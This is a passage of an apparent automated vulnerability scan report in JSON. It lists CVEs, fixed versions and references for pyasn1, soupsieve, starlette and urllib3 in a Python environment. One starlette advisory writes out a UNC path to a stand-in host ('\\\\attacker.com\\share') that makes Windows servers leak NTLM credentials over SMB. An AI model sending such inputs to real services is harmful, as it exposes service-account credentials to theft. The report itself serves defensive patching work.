"CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-119197", "https://advisory.echohq.com/cve/CVE-2026-119197", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4", "https://github.com/pyasn1/pyasn1/pull/132", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx", "https://nvd.nist.gov/vuln/detail/CVE-2026-119197", "https://www.cve.org/CVERecord?id=CVE-2026-119197" ], "PublishedDate": "2026-10-29T20:17:30.907Z", "LastModifiedDate": "2026-10-30T17:18:03.88Z" }, { "VulnerabilityID": "CVE-2026-30922", "VendorIDs": [ "GHSA-jr27-m4p2-rc6r" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.3", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-30922", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:2ffa4d4ede5349b3012f57922a59101be15cdddc5806d436ec4db2f56ceb68f3", "Title": "pyasn1: pyasn1 Vulnerable to Denial of Service via Unbounded Recursion", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.3, the `pyasn1` library is vulnerable to a Denial of Service (DoS) attack caused by uncontrolled recursion when decoding ASN.1 data with deeply nested structures. An attacker can supply a crafted payload containing thousands of nested `SEQUENCE` (`0x30`) or `SET` (`0x31`) tags with \"Indefinite Length\" (`0x80`) markers. This forces the decoder to recursively call itself until the Python interpreter crashes with a `RecursionError` or consumes all available memory (OOM), crashing the host application. This is a distinct vulnerability from CVE-2026-23490 (which addressed integer overflows in OID decoding). The fix for CVE-2026-23490 (`MAX_OID_ARC_CONTINUATION_OCTETS`) does not mitigate this recursion issue. Version 0.6.3 fixes this specific issue.", "Severity": "HIGH", "CweIDs": [ "CWE-674", "CWE-835" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "cbl-mariner": 3, "ghsa": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/03/20/4", "https://access.redhat.com/errata/RHSA-2026:10184", "https://access.redhat.com/errata/RHSA-2026:12176", "https://access.redhat.com/errata/RHSA-2026:13508", "https://access.redhat.com/errata/RHSA-2026:13512", "https://access.redhat.com/errata/RHSA-2026:13545", "https://access.redhat.com/errata/RHSA-2026:13553", "https://access.redhat.com/errata/RHSA-2026:13902", "https://access.redhat.com/errata/RHSA-2026:13916", "https://access.redhat.com/errata/RHSA-2026:13917", "https://access.redhat.com/errata/RHSA-2026:14020", "https://access.redhat.com/errata/RHSA-2026:16009", "https://access.redhat.com/errata/RHSA-2026:17083", "https://access.redhat.com/errata/RHSA-2026:17611", "https://access.redhat.com/errata/RHSA-2026:19138", "https://access.redhat.com/errata/RHSA-2026:19355", "https://access.redhat.com/errata/RHSA-2026:19375", "https://access.redhat.com/errata/RHSA-2026:19712", "https://access.redhat.com/errata/RHSA-2026:20588", "https://access.redhat.com/errata/RHSA-2026:22131", "https://access.redhat.com/errata/RHSA-2026:22132", "https://access.redhat.com/errata/RHSA-2026:22133", "https://access.redhat.com/errata/RHSA-2026:22134", "https://access.redhat.com/errata/RHSA-2026:22135", "https://access.redhat.com/errata/RHSA-2026:22969", "https://access.redhat.com/errata/RHSA-2026:22970", "https://access.redhat.com/errata/RHSA-2026:22987", "https://access.redhat.com/errata/RHSA-2026:24761", "https://access.redhat.com/errata/RHSA-2026:24762", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:6309", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:6568", "https://access.redhat.com/errata/RHSA-2026:6720", "https://access.redhat.com/errata/RHSA-2026:6912", "https://access.redhat.com/errata/RHSA-2026:6926", "https://access.redhat.com/errata/RHSA-2026:8437", "https://access.redhat.com/security/cve/CVE-2026-30922", "https://advisory.echohq.com/cve/CVE-2026-30922", "https://bugzilla.redhat.com/2448553", "https://bugzilla.redhat.com/show_bug.cgi?id=2438762", "https://bugzilla.redhat.com/show_bug.cgi?id=2447194", "https://bugzilla.redhat.com/show_bug.cgi?id=2448553", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-26007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-30922", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32597", "https://errata.almalinux.org/9/ALSA-2026-13917.html", "https://errata.rockylinux.org/RLSA-2026:19355", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/25ad481c19fdb006e20485ef3fc2e5b3eff30ef0", "https://github.com/pyasn1/pyasn1/commit/5a49bd1fe93b5b866a1210f6bf0a3924f21572c8", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.3", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-jr27-m4p2-rc6r", "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-2263.yaml", "https://linux.oracle.com/cve/CVE-2026-30922.html", "https://linux.oracle.com/errata/ELSA-2026-19355.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00001.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-30922", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-30922.json", "https://ubuntu.com/security/notices/USN-8129-1", "https://ubuntu.com/security/notices/USN-8134-1", "https://www.cve.org/CVERecord?id=CVE-2026-30922" ], "PublishedDate": "2026-03-18T04:17:18.397Z", "LastModifiedDate": "2026-09-10T13:18:04.64Z" }, { "VulnerabilityID": "CVE-2026-59884", "VendorIDs": [ "GHSA-m4p7-r5rc-7g4j" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59884", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a9390fcb2d7e44699ceea7acae9f916d2cb291a830ba7ffb33b9cf02afad0ebb", "Title": "python-pyasn1: pyasn1: Denial of Service via crafted BER input", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER decoder shared by the CER and DER codecs parses long-form tags by accumulating continuation octets without an upper bound on the tag ID size, allowing a crafted input to force construction of an arbitrarily large integer with CPU cost growing quadratically and to trigger unhandled ValueError exceptions in Python 3.11+ error formatting paths. Any application decoding untrusted BER, CER, or DER input is affected. This issue is fixed in version 0.6.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "amazon": 3, "azure": 3, "ghsa": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59884", "https://advisory.echohq.com/cve/CVE-2026-59884", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/628e36ecbb5277a3f01572ce418ef54271b165a5", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-m4p7-r5rc-7g4j", "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-3455.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-59884", "https://ubuntu.com/security/notices/USN-8712-1", "https://www.cve.org/CVERecord?id=CVE-2026-59884" ], "PublishedDate": "2026-07-14T17:17:14.75Z", "LastModifiedDate": "2026-07-21T14:37:52.16Z" }, { "VulnerabilityID": "CVE-2026-59885", "VendorIDs": [ "GHSA-8ppf-4f7h-5ppj" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59885", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:a8179fd363d8312124105457aa12a69ad675d4aa23ad74ca0473dcaa6f79f127", "Title": "pyasn1: python-pyasn1: pyasn1: Denial of Service via crafted ASN.1 OBJECT IDENTIFIER", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs, so a small crafted payload containing an OID with many arcs consumes excessive CPU per decode() call and can deny service to applications that decode untrusted ASN.1 data. The corresponding encoders have the same quadratic behavior when an application re-encodes previously decoded attacker-supplied values. This issue is fixed in version 0.6.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-407" ], "VendorSeverity": { "amazon": 3, "azure": 3, "ghsa": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-59885", "https://advisory.echohq.com/cve/CVE-2026-59885", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/45bdb19eb7df4b3780fe9c912c63e99bffc39dd9", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-8ppf-4f7h-5ppj", "https://nvd.nist.gov/vuln/detail/CVE-2026-59885", "https://ubuntu.com/security/notices/USN-8712-1", "https://www.cve.org/CVERecord?id=CVE-2026-59885" ], "PublishedDate": "2026-07-14T17:17:14.88Z", "LastModifiedDate": "2026-07-21T14:38:21.58Z" }, { "VulnerabilityID": "CVE-2026-59886", "VendorIDs": [ "GHSA-hm4w-wwcw-mr6r" ], "PkgName": "pyasn1", "PkgPath": "venv/lib/python3.12/site-packages/pyasn1-0.6.2.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/pyasn1@0.6.2", "UID": "d4f993acc1f36c13" }, "InstalledVersion": "0.6.2", "FixedVersion": "0.6.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-59886", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:c48105aec7ba35c7207c3aa3bda05083fb2a6bcdaebad743a09ed338a8985087", "Title": "pyasn1: pyasn1: Denial of Service via crafted ASN.1 REAL values", "Description": "pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.4, the univ.Real type converted its mantissa, base, and exponent value to a Python float using exact big-integer exponentiation. A BER, CER, or DER encoded REAL value only a few bytes long can carry a very large exponent, causing float conversion through prettyPrint(), str(), comparison, arithmetic, int(), or an explicit float() call to consume excessive CPU and memory and hang applications that decode untrusted ASN.1 data and then print, log, or compare decoded objects. This issue is fixed in version 0.6.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "ghsa": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59242", "https://access.redhat.com/security/cve/CVE-2026-59886", "https://advisory.echohq.com/cve/CVE-2026-59886", "https://bugzilla.redhat.com/2500041", "https://bugzilla.redhat.com/show_bug.cgi?id=2500041", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-59886", "https://errata.almalinux.org/9/ALSA-2026-59242.html", "https://errata.rockylinux.org/RLSA-2026:59242", "https://github.com/pyasn1/pyasn1", "https://github.com/pyasn1/pyasn1/commit/e60c691cb91addb8fcefa2f537e85ede6fb1e886", "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.4", "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-hm4w-wwcw-mr6r", "https://linux.oracle.com/cve/CVE-2026-59886.html", "https://linux.oracle.com/errata/ELSA-2026-59243.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-59886", "https://ubuntu.com/security/notices/USN-8712-1", "https://www.cve.org/CVERecord?id=CVE-2026-59886" ], "PublishedDate": "2026-07-14T17:17:15.01Z", "LastModifiedDate": "2026-07-21T14:38:13.08Z" }, { "VulnerabilityID": "CVE-2026-49476", "VendorIDs": [ "GHSA-2wc2-fm75-p42x" ], "PkgName": "soupsieve", "PkgPath": "venv/lib/python3.12/site-packages/soupsieve-2.8.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/soupsieve@2.8.3", "UID": "9acdd3bf5ff63334" }, "InstalledVersion": "2.8.3", "FixedVersion": "2.8.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49476", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:b8d34c95a43bfe61d74f70879c211ae76cb3ae37c8ff4bcbed62f06587655408", "Title": "python-soupsieve: Soupsieve: Denial of Service via crafted CSS selector string", "Description": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve allocates unbounded memory when compiling large comma-separated selector lists, allowing an attacker who can supply a crafted selector string to soupsieve.compile() or Beautiful Soup .select() / .select_one() to allocate hundreds of megabytes of heap memory from a relatively small input and cause denial of service. This issue is fixed in version 2.8.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49476", "https://advisory.echohq.com/cve/CVE-2026-49476", "https://github.com/facelessuser/soupsieve", "https://github.com/facelessuser/soupsieve/commit/28108ab805818c832d9568142a99844fd95a0d39", "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4", "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-2wc2-fm75-p42x", "https://nvd.nist.gov/vuln/detail/CVE-2026-49476", "https://www.cve.org/CVERecord?id=CVE-2026-49476" ], "PublishedDate": "2026-07-14T21:17:01.877Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-49477", "VendorIDs": [ "GHSA-836r-79rf-4m37" ], "PkgName": "soupsieve", "PkgPath": "venv/lib/python3.12/site-packages/soupsieve-2.8.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/soupsieve@2.8.3", "UID": "9acdd3bf5ff63334" }, "InstalledVersion": "2.8.3", "FixedVersion": "2.8.4", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-49477", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:562b934e30b9e77d73b45080902008fbcb2cc30ca7dd291cffd0a71685c0ae41", "Title": "soupsieve: Soupsieve: Denial of Service via crafted CSS selector strings", "Description": "Soup Sieve is a CSS selector library designed to be used with Beautiful Soup 4. Prior to 2.8.4, the CSS selector parser in soupsieve contains a regular expression vulnerable to catastrophic backtracking when processing an attribute selector with an unterminated quoted value in soupsieve/css_parser.py, allowing an attacker who can supply untrusted CSS selector strings to soupsieve.compile() or Beautiful Soup .select() / .select_one() to cause CPU exhaustion and denial of service. This issue is fixed in version 2.8.4.", "Severity": "HIGH", "CweIDs": [ "CWE-400", "CWE-1333" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-49477", "https://advisory.echohq.com/cve/CVE-2026-49477", "https://github.com/facelessuser/soupsieve", "https://github.com/facelessuser/soupsieve/commit/eb4397618709186c109400448c6043b728217dc3", "https://github.com/facelessuser/soupsieve/releases/tag/2.8.4", "https://github.com/facelessuser/soupsieve/security/advisories/GHSA-836r-79rf-4m37", "https://nvd.nist.gov/vuln/detail/CVE-2026-49477", "https://www.cve.org/CVERecord?id=CVE-2026-49477" ], "PublishedDate": "2026-07-14T21:17:02.007Z", "LastModifiedDate": "2026-10-24T21:10:00.13Z" }, { "VulnerabilityID": "CVE-2026-48818", "VendorIDs": [ "GHSA-wqp7-x3pw-xc5r" ], "PkgName": "starlette", "PkgPath": "venv/lib/python3.12/site-packages/starlette-0.52.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@0.52.1", "UID": "b82175315742348e" }, "InstalledVersion": "0.52.1", "FixedVersion": "1.1.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48818", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:0924163cef7fc589de79b227fd39e7ae1fbe0840bd101ef1cf9ad161ba8c906c", "Title": "starlette: Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows", "Description": "Starlette is a lightweight ASGI framework/toolkit. In versions 1.0.1 and earlier, StaticFiles on Windows is vulnerable to SSRF. An UNC path such as \\\\attacker.com\\share can cause os.path.realpath to initiate an outbound SMB connection before the path is rejected, exposing the service account’s NTLMv2 credentials for offline cracking or relay even though the HTTP response is only a 404. The issue affects default follow_symlink=False deployments, including frameworks built on Starlette such as FastAPI; POSIX systems and follow_symlink=True are unaffected. The issue is fixed in 1.1.0.", "Severity": "HIGH", "CweIDs": [ "CWE-918" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30087", "https://access.redhat.com/errata/RHSA-2026:30088", "https://access.redhat.com/errata/RHSA-2026:30089", "https://access.redhat.com/security/cve/CVE-2026-48818", "https://advisory.echohq.com/cve/CVE-2026-48818", "https://bugzilla.redhat.com/show_bug.cgi?id=2490020", "https://github.com/Kludex/starlette", "https://github.com/Kludex/starlette/commit/fd53168a7767b6b55ba5af787fd88f49e33cabc5", "https://github.com/Kludex/starlette/pull/3287", "https://github.com/Kludex/starlette/releases/tag/1.1.0", "https://github.com/Kludex/starlette/security/advisories/GHSA-wqp7-x3pw-xc5r", "https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-2281.yaml", "https://nvd.nist.gov/vuln/detail/CVE-2026-48818", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48818.json", "https://www.cve.org/CVERecord?id=CVE-2026-48818" ], "PublishedDate": "2026-06-17T19:18:09.807Z", "LastModifiedDate": "2026-10-26T11:10:00.157Z" }, { "VulnerabilityID": "CVE-2026-54283", "VendorIDs": [ "GHSA-82w8-qh3p-5jfq" ], "PkgName": "starlette", "PkgPath": "venv/lib/python3.12/site-packages/starlette-0.52.1.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/starlette@0.52.1", "UID": "b82175315742348e" }, "InstalledVersion": "0.52.1", "FixedVersion": "1.3.1", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-54283", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:5e39b5a90dcac602c42e6cfc33a4b402d070860d9b727998267f7b70b77be1be", "Title": "starlette: Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS", "Description": "Starlette is a lightweight ASGI framework/toolkit. From 0.4.1 until 1.3.1, request.form() accepts max_fields and max_part_size to bound resource consumption while parsing form data. These limits are enforced for multipart/form-data, but silently ignored for application/x-www-form-urlencoded. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply. This vulnerability is fixed in 1.3.1.", "Severity": "HIGH", "CweIDs": [ "CWE-770" ], "VendorSeverity": { "ghsa": 3, "redhat": 3 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-54283", "https://advisory.echohq.com/cve/CVE-2026-54283", "https://github.com/Kludex/starlette", "https://github.com/Kludex/starlette/security/advisories/GHSA-82w8-qh3p-5jfq", "https://nvd.nist.gov/vuln/detail/CVE-2026-54283", "https://www.cve.org/CVERecord?id=CVE-2026-54283" ], "PublishedDate": "2026-06-22T18:16:46.943Z", "LastModifiedDate": "2026-10-25T23:10:00.167Z" }, { "VulnerabilityID": "CVE-2026-44431", "VendorIDs": [ "GHSA-qccp-gfcp-xxvc" ], "PkgName": "urllib3", "PkgPath": "venv/lib/python3.12/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "83345907e620c723" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.7.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44431", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:01c751eda199d9e7d4b375c6c7b04930ca94fbebaf9779f4310d0cce8cc5d059", "Title": "urllib3: urllib3: Information disclosure via cross-origin redirects forwarding sensitive headers", "Description": "urllib3 is an HTTP client library for Python. From 1.23 to before 2.7.0, cross-origin redirects followed from the low-level API via ProxyManager.connection_from_url().urlopen(..., assert_same_host=False) still forward these sensitive headers. This vulnerability is fixed in 2.7.0.", "Severity": "HIGH", "CweIDs": [ "CWE-200" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "ghsa": 3, "nvd": 2, "oracle-oval": 2, "photon": 2, "redhat": 2, "rocky": 3, "ubuntu": 2 }, "CVSS": { "ghsa": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "V40Vector": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "V3Score": 5.3, "V40Score": 8.2 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "V3Score": 5.3 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:28158", "https://access.redhat.com/errata/RHSA-2026:28159", "https://access.redhat.com/security/cve/CVE-2026-44431", "https://advisory.echohq.com/cve/CVE-2026-44431", "https://bugzilla.redhat.com/2477154", "https://bugzilla.redhat.com/2477167", "https://bugzilla.redhat.com/show_bug.cgi?id=2477154", "https://bugzilla.redhat.com/show_bug.cgi?id=2477167", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-44432", "https://errata.almalinux.org/9/ALSA-2026-28159.html", "https://errata.rockylinux.org/RLSA-2026:28158", "https://github.com/urllib3/urllib3", "https://github.com/urllib3/urllib3/security/advisories/GHSA-qccp-gfcp-xxvc", "https://linux.oracle.com/cve/CVE-2026-44431.html", "https://linux.oracle.com/errata/ELSA-2026-49927.html", "https://lists.debian.org/debian-lts-announce/2026/06/msg00040.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-44431", "https://ubuntu.com/security/notices/USN-8379-1", "https://ubuntu.com/security/notices/USN-8811-1", "https://www.cve.org/CVERecord?id=CVE-2026-44431" ], "PublishedDate": "2026-05-13T16:16:57.15Z", "LastModifiedDate": "2026-06-26T12:16:32.423Z" }, { "VulnerabilityID": "CVE-2026-44432", "VendorIDs": [ "GHSA-mf9v-mfxr-j63j" ], "PkgName": "urllib3", "PkgPath": "venv/lib/python3.12/site-packages/urllib3-2.6.3.dist-info/METADATA", "PkgIdentifier": { "PURL": "pkg:pypi/urllib3@2.6.3", "UID": "83345907e620c723" }, "InstalledVersion": "2.6.3", "FixedVersion": "2.7.0", "Status": "fixed", "Layer": { "DiffID": "sha256:8bc82c5c4331196d3368936f7c29fb8347fea656d846f29b1af32205ea599dc3" }, "SeveritySource": "ghsa", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44432", "DataSource": { "ID": "ghsa", "Name": "GitHub Security Advisory pip", "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Apip" }, "Fingerprint": "sha256:3a79c159122c428e02e4aae0846638ccd38efd5d3cdebab1d8df0ca3cdaefd99", "Title": "urllib3: urllib3: Denial of Service due to excessive HTTP response decompression", "Description": "urllib3 is an HTTP client library for Python. From 2.6.0 to before 2.7.0, urllib3 could decompress the whole response instead of the requested portion (1) during the second HTTPResponse.read(amt=N) call when the response was decompressed using the official Brotli library or (2) when HTTPResponse.drain_conn() was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data) on the client side. This vulnerability is fixed in 